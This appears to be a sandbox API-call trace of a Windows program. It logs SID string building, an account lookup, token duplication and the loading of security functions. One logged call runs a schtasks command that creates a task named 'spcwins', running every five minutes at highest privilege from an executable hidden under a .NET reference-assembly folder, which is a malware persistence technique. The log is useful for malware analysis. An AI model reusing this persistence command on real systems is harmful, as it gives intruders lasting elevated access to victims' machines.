0x2ae2f1 [0130.413] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2f8 [0130.413] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0130.413] malloc (_Size=0x18) returned 0x2af0e0 [0130.413] malloc (_Size=0x18) returned 0x2aefa0 [0130.413] SysStringLen (param_1="S-1-5") returned 0x5 [0130.413] SysStringLen (param_1="-") returned 0x1 [0130.413] memcpy (in: _Dst=0x1395c8, _Src=0x1619a8, _Size=0xc | out: _Dst=0x1395c8) returned 0x1395c8 [0130.413] memcpy (in: _Dst=0x1395d2, _Src=0x139898, _Size=0x4 | out: _Dst=0x1395d2) returned 0x1395d2 [0130.413] free (_Block=0x2af0c0) [0130.413] free (_Block=0x2af0e0) [0130.413] malloc (_Size=0x18) returned 0x2af0e0 [0130.413] malloc (_Size=0x18) returned 0x2af0c0 [0130.413] SysStringLen (param_1="S-1-5-") returned 0x6 [0130.413] SysStringLen (param_1="21") returned 0x2 [0130.413] memcpy (in: _Dst=0x139898, _Src=0x1395c8, _Size=0xe | out: _Dst=0x139898) returned 0x139898 [0130.413] memcpy (in: _Dst=0x1398a4, _Src=0x1619a8, _Size=0x6 | out: _Dst=0x1398a4) returned 0x1398a4 [0130.413] free (_Block=0x2aefa0) [0130.414] free (_Block=0x2af0e0) [0130.414] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2fc [0130.414] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0130.414] malloc (_Size=0x18) returned 0x2af0e0 [0130.414] malloc (_Size=0x18) returned 0x2aefa0 [0130.414] SysStringLen (param_1="S-1-5-21") returned 0x8 [0130.414] SysStringLen (param_1="-") returned 0x1 [0130.414] memcpy (in: _Dst=0x1619a8, _Src=0x139898, _Size=0x12 | out: _Dst=0x1619a8) returned 0x1619a8 [0130.414] memcpy (in: _Dst=0x1619b8, _Src=0x1395c8, _Size=0x4 | out: _Dst=0x1619b8) returned 0x1619b8 [0130.414] free (_Block=0x2af0c0) [0130.414] free (_Block=0x2af0e0) [0130.414] malloc (_Size=0x18) returned 0x2af0e0 [0130.414] malloc (_Size=0x18) returned 0x2af0c0 [0130.414] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0130.414] SysStringLen (param_1="4219442223") returned 0xa [0130.414] memcpy (in: _Dst=0x117a48, _Src=0x1619a8, _Size=0x14 | out: _Dst=0x117a48) returned 0x117a48 [0130.414] memcpy (in: _Dst=0x117a5a, _Src=0x139898, _Size=0x16 | out: _Dst=0x117a5a) returned 0x117a5a [0130.414] free (_Block=0x2aefa0) [0130.414] free (_Block=0x2af0e0) [0130.414] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae300 [0130.414] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0130.415] malloc (_Size=0x18) returned 0x2af0e0 [0130.415] malloc (_Size=0x18) returned 0x2aefa0 [0130.415] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0130.415] SysStringLen (param_1="-") returned 0x1 [0130.415] memcpy (in: _Dst=0x1179a8, _Src=0x117a48, _Size=0x28 | out: _Dst=0x1179a8) returned 0x1179a8 [0130.415] memcpy (in: _Dst=0x1179ce, _Src=0x1619a8, _Size=0x4 | out: _Dst=0x1179ce) returned 0x1179ce [0130.415] free (_Block=0x2af0c0) [0130.415] free (_Block=0x2af0e0) [0130.415] malloc (_Size=0x18) returned 0x2af0e0 [0130.415] malloc (_Size=0x18) returned 0x2af0c0 [0130.415] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0130.415] SysStringLen (param_1="4223814209") returned 0xa [0130.415] memcpy (in: _Dst=0x12da28, _Src=0x1179a8, _Size=0x2a | out: _Dst=0x12da28) returned 0x12da28 [0130.415] memcpy (in: _Dst=0x12da50, _Src=0x1619a8, _Size=0x16 | out: _Dst=0x12da50) returned 0x12da50 [0130.415] free (_Block=0x2aefa0) [0130.415] free (_Block=0x2af0e0) [0130.415] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae304 [0130.415] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0130.415] malloc (_Size=0x18) returned 0x2af0e0 [0130.415] malloc (_Size=0x18) returned 0x2aefa0 [0130.415] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0130.416] SysStringLen (param_1="-") returned 0x1 [0130.416] memcpy (in: _Dst=0x12d918, _Src=0x12da28, _Size=0x3e | out: _Dst=0x12d918) returned 0x12d918 [0130.416] memcpy (in: _Dst=0x12d954, _Src=0x1619a8, _Size=0x4 | out: _Dst=0x12d954) returned 0x12d954 [0130.416] free (_Block=0x2af0c0) [0130.416] free (_Block=0x2af0e0) [0130.416] malloc (_Size=0x18) returned 0x2af0e0 [0130.416] malloc (_Size=0x18) returned 0x2af0c0 [0130.416] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0130.416] SysStringLen (param_1="3835049652") returned 0xa [0130.416] memcpy (in: _Dst=0x12da28, _Src=0x12d918, _Size=0x40 | out: _Dst=0x12da28) returned 0x12da28 [0130.416] memcpy (in: _Dst=0x12da66, _Src=0x1619a8, _Size=0x16 | out: _Dst=0x12da66) returned 0x12da66 [0130.416] free (_Block=0x2aefa0) [0130.416] free (_Block=0x2af0e0) [0130.416] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae308 [0130.416] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0130.416] malloc (_Size=0x18) returned 0x2af0e0 [0130.416] malloc (_Size=0x18) returned 0x2aefa0 [0130.416] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0130.416] SysStringLen (param_1="-") returned 0x1 [0130.416] memcpy (in: _Dst=0x12d918, _Src=0x12da28, _Size=0x54 | out: _Dst=0x12d918) returned 0x12d918 [0130.416] memcpy (in: _Dst=0x12d96a, _Src=0x1619a8, _Size=0x4 | out: _Dst=0x12d96a) returned 0x12d96a [0130.416] free (_Block=0x2af0c0) [0130.417] free (_Block=0x2af0e0) [0130.417] malloc (_Size=0x18) returned 0x2af0e0 [0130.417] malloc (_Size=0x18) returned 0x2af0c0 [0130.417] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0130.417] SysStringLen (param_1="1000") returned 0x4 [0130.417] memcpy (in: _Dst=0x12da28, _Src=0x12d918, _Size=0x56 | out: _Dst=0x12da28) returned 0x12da28 [0130.417] memcpy (in: _Dst=0x12da7c, _Src=0x1619a8, _Size=0xa | out: _Dst=0x12da7c) returned 0x12da7c [0130.417] free (_Block=0x2aefa0) [0130.417] free (_Block=0x2af0e0) [0130.417] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0130.417] malloc (_Size=0x5e) returned 0x2b08a0 [0130.417] free (_Block=0x2af0c0) [0130.417] malloc (_Size=0x18) returned 0x2af0c0 [0130.418] free (_Block=0x2b08a0) [0130.418] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0130.419] GetLastError () returned 0x7a [0130.419] malloc (_Size=0x14) returned 0x2af0e0 [0130.419] malloc (_Size=0x16) returned 0x2aefa0 [0130.419] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af0e0, cchName=0xe7ca94, ReferencedDomainName=0x2aefa0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0130.419] malloc (_Size=0x18) returned 0x2aefc0 [0130.419] malloc (_Size=0x18) returned 0x2af000 [0130.419] free (_Block=0x2af0e0) [0130.420] free (_Block=0x2aefa0) [0130.420] free (_Block=0x2affa0) [0130.420] free (_Block=0x2af000) [0130.420] free (_Block=0x2aefc0) [0130.420] free (_Block=0x2af0c0) [0130.421] free (_Block=0x2ae2e0) [0130.421] malloc (_Size=0x48) returned 0x2ad270 [0130.421] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0130.427] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0130.428] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0130.428] malloc (_Size=0x18) returned 0x2af0c0 [0130.428] CreateEnvironmentBlock () returned 0x1 [0130.436] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0130.436] malloc (_Size=0x18) returned 0x2aefc0 [0130.436] CreateProcessAsUserW (in: hToken=0x2d0, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"spcwins\" /sc MINUTE /mo 5 /tr \"'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x16ec80, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"spcwins\" /sc MINUTE /mo 5 /tr \"'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'\" /rl HIGHEST /f", lpProcessInformation=0xe7cba0*(hProcess=0x248, hThread=0x24c, dwProcessId=0xee0, dwThreadId=0xee4)) returned 1 [0130.441] CloseHandle (hObject=0x248) returned 1 [0130.441] CloseHandle (hObject=0x24c) returned 1 [0130.441] free (_Block=0x2aefc0) [0130.442] DestroyEnvironmentBlock () returned 0x1 [0130.442] malloc (_Size=0x48) returned 0x2ad220 [0130.442] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x1cc2a320, dwHighDateTime=0x1d8a92a)) [0130.442] SetEvent (hEvent=0x1f0) returned 1 [0130.442] CloseHandle (hObject=0x2dc) returned 1 [0130.442] CloseHandle (hObject=0x2d0) returned 1 [0130.565] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd960 [0130.565] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd960, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0130.565] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd960 | out: hHeap=0xc0000) returned 1 [0131.146] SetLastError (dwErrCode=0x0) [0131.146] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0131.147] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0131.147] SetLastError (dwErrCode=0x0) [0131.147] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0131.147] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd960 [0131.147] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0131.147] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12f0a0 [0131.147] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12f0a0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0131.147] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12f0a0 | out: hHeap=0xc0000) returned 1 [0131.149] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0131.149] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0131.150] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0131.150] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0131.150] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0131.150] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0131.150] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0131.152] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0131.152] GetCurrentThread () returned 0xfffffffffffffffe [0131.152] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x2d0) returned 1 [0131.152] malloc (_Size=0xd8) returned 0x2b35c0 [0131.152] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0131.153] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0131.153] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0131.153] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0131.153] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0131.153] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0131.153] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0131.154] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0131.154] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0131.154] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0131.154] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0131.154] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0131.154] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0131.155] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0131.155] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0131.155] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0131.155] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0131.155] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0131.155] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0131.156] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0131.156] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0131.156] malloc (_Size=0x18) returned 0x2aef80 [0131.156] DuplicateTokenEx (in: hExistingToken=0x2d0, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x2dc) returned 1 [0131.156] malloc (_Size=0x48) returned 0x2ad3b0 [0131.156] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x1d2b5fa0, dwHighDateTime=0x1d8a92a)) [0131.156] SetEvent (hEvent=0x1f0) returned 1 [0131.162] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0131.162] GetLastError () returned 0x7a [0131.162] malloc (_Size=0x2c) returned 0x2ae2a0 [0131.162] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x2ae2a0, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2ae2a0, ReturnLength=0xe7cb60) returned 1 [0131.162] IsValidSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0131.162] GetLengthSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0131.162] malloc (_Size=0x1c) returned 0x2b0000 [0131.162] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b0000, pSourceSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b0000*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0131.162] GetSidIdentifierAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b2 [0131.162] malloc (_Size=0x18) returned 0x2aef80 [0131.162] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0131.162] malloc (_Size=0x18) returned 0x2af0c0 [0131.163] malloc (_Size=0x18) returned 0x2aefc0 [0131.163] SysStringLen (param_1="S-1-") returned 0x4 [0131.163] SysStringLen (param_1="5") returned 0x1 [0131.163] memcpy (in: _Dst=0x139568, _Src=0x1618e8, _Size=0xa | out: _Dst=0x139568) returned 0x139568 [0131.163] memcpy (in: _Dst=0x139570, _Src=0x139628, _Size=0x4 | out: _Dst=0x139570) returned 0x139570 [0131.163] free (_Block=0x2aef80) [0131.163] free (_Block=0x2af0c0) [0131.163] GetSidSubAuthorityCount (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b1 [0131.163] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2b8 [0131.163] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0131.163] malloc (_Size=0x18) returned 0x2af0c0 [0131.163] malloc (_Size=0x18) returned 0x2aef80 [0131.163] SysStringLen (param_1="S-1-5") returned 0x5 [0131.163] SysStringLen (param_1="-") returned 0x1 [0131.163] memcpy (in: _Dst=0x139628, _Src=0x139568, _Size=0xc | out: _Dst=0x139628) returned 0x139628 [0131.163] memcpy (in: _Dst=0x139632, _Src=0x1618e8, _Size=0x4 | out: _Dst=0x139632) returned 0x139632 [0131.163] free (_Block=0x2aefc0) [0131.163] free (_Block=0x2af0c0) [0131.163] malloc (_Size=0x18) returned 0x2af0c0 [0131.163] malloc (_Size=0x18) returned 0x2aefc0 [0131.163] SysStringLen (param_1="S-1-5-") returned 0x6 [0131.164] SysStringLen (param_1="21") returned 0x2 [0131.164] memcpy (in: _Dst=0x1618e8, _Src=0x139628, _Size=0xe | out: _Dst=0x1618e8) returned 0x1618e8 [0131.164] memcpy (in: _Dst=0x1618f4, _Src=0x139568, _Size=0x6 | out: _Dst=0x1618f4) returned 0x1618f4 [0131.164] free (_Block=0x2aef80) [0131.164] free (_Block=0x2af0c0) [0131.164] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2bc [0131.164] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0131.164] malloc (_Size=0x18) returned 0x2af0c0 [0131.164] malloc (_Size=0x18) returned 0x2aef80 [0131.164] SysStringLen (param_1="S-1-5-21") returned 0x8 [0131.164] SysStringLen (param_1="-") returned 0x1 [0131.164] memcpy (in: _Dst=0x139568, _Src=0x1618e8, _Size=0x12 | out: _Dst=0x139568) returned 0x139568 [0131.164] memcpy (in: _Dst=0x139578, _Src=0x139628, _Size=0x4 | out: _Dst=0x139578) returned 0x139578 [0131.164] free (_Block=0x2aefc0) [0131.164] free (_Block=0x2af0c0) [0131.164] malloc (_Size=0x18) returned 0x2af0c0 [0131.164] malloc (_Size=0x18) returned 0x2aefc0 [0131.164] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0131.164] SysStringLen (param_1="4219442223") returned 0xa [0131.164] memcpy (in: _Dst=0x118268, _Src=0x139568, _Size=0x14 | out: _Dst=0x118268) returned 0x118268 [0131.165] memcpy (in: _Dst=0x11827a, _Src=0x1618e8, _Size=0x16 | out: _Dst=0x11827a) returned 0x11827a [0131.165] free (_Block=0x2aef80) [0131.165] free (_Block=0x2af0c0) [0131.165] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae2c0 [0131.165] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0131.165] malloc (_Size=0x18) returned 0x2af0c0 [0131.165] malloc (_Size=0x18) returned 0x2aef80 [0131.165] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0131.165] SysStringLen (param_1="-") returned 0x1 [0131.165] memcpy (in: _Dst=0x1176d8, _Src=0x118268, _Size=0x28 | out: _Dst=0x1176d8) returned 0x1176d8 [0131.165] memcpy (in: _Dst=0x1176fe, _Src=0x139568, _Size=0x4 | out: _Dst=0x1176fe) returned 0x1176fe [0131.165] free (_Block=0x2aefc0) [0131.165] free (_Block=0x2af0c0) [0131.165] malloc (_Size=0x18) returned 0x2af0c0 [0131.165] malloc (_Size=0x18) returned 0x2aefc0 [0131.165] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0131.165] SysStringLen (param_1="4223814209") returned 0xa [0131.165] memcpy (in: _Dst=0x12d808, _Src=0x1176d8, _Size=0x2a | out: _Dst=0x12d808) returned 0x12d808 [0131.165] memcpy (in: _Dst=0x12d830, _Src=0x139568, _Size=0x16 | out: _Dst=0x12d830) returned 0x12d830 [0131.165] free (_Block=0x2aef80) [0131.166] free (_Block=0x2af0c0) [0131.166] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae2c4 [0131.166] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0131.166] malloc (_Size=0x18) returned 0x2af0c0 [0131.166] malloc (_Size=0x18) returned 0x2aef80 [0131.166] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0131.166] SysStringLen (param_1="-") returned 0x1 [0131.166] memcpy (in: _Dst=0xd8a48, _Src=0x12d808, _Size=0x3e | out: _Dst=0xd8a48) returned 0xd8a48 [0131.166] memcpy (in: _Dst=0xd8a84, _Src=0x139568, _Size=0x4 | out: _Dst=0xd8a84) returned 0xd8a84 [0131.166] free (_Block=0x2aefc0) [0131.166] free (_Block=0x2af0c0) [0131.166] malloc (_Size=0x18) returned 0x2af0c0 [0131.166] malloc (_Size=0x18) returned 0x2aefc0 [0131.166] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0131.166] SysStringLen (param_1="3835049652") returned 0xa [0131.166] memcpy (in: _Dst=0x12d808, _Src=0xd8a48, _Size=0x40 | out: _Dst=0x12d808) returned 0x12d808 [0131.166] memcpy (in: _Dst=0x12d846, _Src=0x139568, _Size=0x16 | out: _Dst=0x12d846) returned 0x12d846 [0131.166] free (_Block=0x2aef80) [0131.166] free (_Block=0x2af0c0) [0131.166] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae2c8 [0131.166] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0131.167] malloc (_Size=0x18) returned 0x2af0c0 [0131.167] malloc (_Size=0x18) returned 0x2aef80 [0131.167] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0131.167] SysStringLen (param_1="-") returned 